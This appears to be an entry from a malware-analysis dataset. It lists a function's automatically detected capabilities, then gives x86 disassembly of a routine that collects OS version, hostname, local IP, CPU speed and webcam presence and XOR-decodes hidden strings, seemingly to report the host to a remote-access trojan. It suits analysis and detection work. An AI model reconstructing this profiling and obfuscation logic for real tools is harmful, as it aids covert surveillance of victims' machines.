Function at 0x1000b2f0
Capabilities:
Check os version
Encode data using xor
Get cpu information
Get hostname
Get local ipv4 addresses
Get socket information
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x6b8
mov eax, dword [0x10032014]
xor eax, esp
mov dword [esp + 0x6b4], eax
push esi
push edi
lea eax, [esp + 0x3c]
mov dword [esp + 0xc], edx
push eax
mov dword [esp + 0xc], ecx
mov byte [esp + 0x3c], 0x66
mov byte [esp + 0x116], 0
mov dword [esp + 0x40], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
push 0x100
lea eax, [esp + 0x154]
push 0
push eax
call fcn.10014920
add esp, 0xc
lea eax, [esp + 0x2b8]
push 0x400
push 0
push eax
call fcn.10014920
movaps xmm0, xmmword [0x1002e930]
add esp, 0xc
movups xmmword [esp + 0x11c], xmm0
mov dword [esp + 0x13c], 0x8cf6d8c9
movaps xmm0, xmmword [0x1002e8e0]
push 0x25
movups xmmword [esp + 0x130], xmm0
mov byte [esp + 0x144], 0xdb
call fcn.100126ff
mov edi, eax
lea ecx, [esp + 0x121]
mov esi, edi
add esp, 4
mov eax, 1
sub esi, ecx
nop
lea edx, [esp + 0x11c]
mov cl, 0xcc
add edx, eax
sub cl, al
inc eax
xor cl, byte [edx]
mov byte [esi + edx], cl
cmp eax, 0x24
jbe 0x1000b3b0
push dword [esp + 8]
lea eax, [esp + 0x2bc]
mov byte [edi + 0x24], 0
push edi
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [esp + 0x15c]
push eax
sub esp, 8
lea edx, [esp + 0x2d0]
call fcn.10006d90
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenA]
lea eax, [esp + 0x168]
add esp, 0x18
push eax
call esi
test eax, eax
jne 0x1000b420
push 0x100
lea eax, [esp + 0x154]
push eax
call dword [sym.imp.WS2_32.dll_gethostname]
push 0x400
lea eax, [esp + 0x2bc]
push 0
push eax
call fcn.10014920
add esp, 0xc
xorps xmm0, xmm0
movups xmmword [edi], xmm0
movups xmmword [edi + 0x10], xmm0
push 1
push edi
mov dword [edi + 0x20], 0
call fcn.1001272f
add esp, 8
lea eax, [esp + 0x150]
push eax
call esi
lea eax, [esp + 0x10]
mov dword [esp + 0x10], 0x10
push eax
lea eax, [esp + 0x24]
xorps xmm0, xmm0
push eax
mov eax, dword [esp + 0x14]
movaps xmmword [esp + 0x28], xmm0
push dword [eax + 0xa8]
call dword [sym.imp.WS2_32.dll_getsockname]
movups xmm0, xmmword [esp + 0x150]
mov eax, dword [esp + 0x24]
mov dword [esp + 0xdc], eax
mov ax, word [esp + 0x180]
movups xmmword [esp + 0xe0], xmm0
push 0x2f
movups xmm0, xmmword [esp + 0x164]
mov word [esp + 0x114], ax
mov dword [esp + 0x18], 4
movups xmmword [esp + 0xf4], xmm0
mov dword [esp + 0x1c], 4
movups xmm0, xmmword [esp + 0x174]
mov dword [esp + 0x140], 0xc5cbd9d8
mov dword [esp + 0x144], 0xc6c9d5f8
movups xmmword [esp + 0x104], xmm0
mov dword [esp + 0x148], 0xced1d0c1
movaps xmm0, xmmword [0x1002e920]
movups xmmword [esp + 0x120], xmm0
mov word [esp + 0x14c], 0xc3d2
movaps xmm0, xmmword [0x1002e8c0]
movups xmmword [esp + 0x130], xmm0
mov byte [esp + 0x14e], 0xae
call fcn.100126ff
mov edi, eax
lea ecx, [esp + 0x121]
mov esi, edi
add esp, 4
mov eax, 1
sub esi, ecx
nop
lea edx, [esp + 0x11c]
mov cl, 0xcc
add edx, eax
sub cl, al
inc eax
xor cl, byte [edx]
mov byte [esi + edx], cl
cmp eax, 0x2e
jbe 0x1000b550
lea eax, [esp + 8]
mov byte [edi + 0x2e], 0
push eax
push str.HARDWAREDESCRIPTIONSystemCentralProcessor0
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x20]
push eax
push 0
push str.MHz
push dword [esp + 0x1c]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [esp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x2e
push 0
push edi
call fcn.10014920
add esp, 0xc
push 1
push edi
call fcn.1001272f
mov eax, dword [esp + 0x24]
add esp, 8
mov edi, dword [sym.imp.AVICAP32.dll_capGetDriverDescriptionA]
mov dword [esp + 0xd8], eax
xor al, al
xor esi, esi
test al, al
jne 0x1000b5fe
push 0x32
lea eax, [esp + 0x120]
push eax
push 0x64
lea eax, [esp + 0x25c]
push eax
push esi
call edi
test eax, eax
setne al
inc esi
cmp esi, 0xa
jl 0x1000b5d8
mov ecx, dword [esp + 0xc]
mov byte [esp + 0x112], al
mov eax, dword [ebp + 8]
mov dword [esp + 0x114], eax
lea eax, [esp + 0x38]
push 0xe0
push eax
call fcn.10001e70
mov ecx, dword [esp + 0x6bc]
pop edi
pop esi
xor ecx, esp
call fcn.100126e5
mov esp, ebp
pop ebp
ret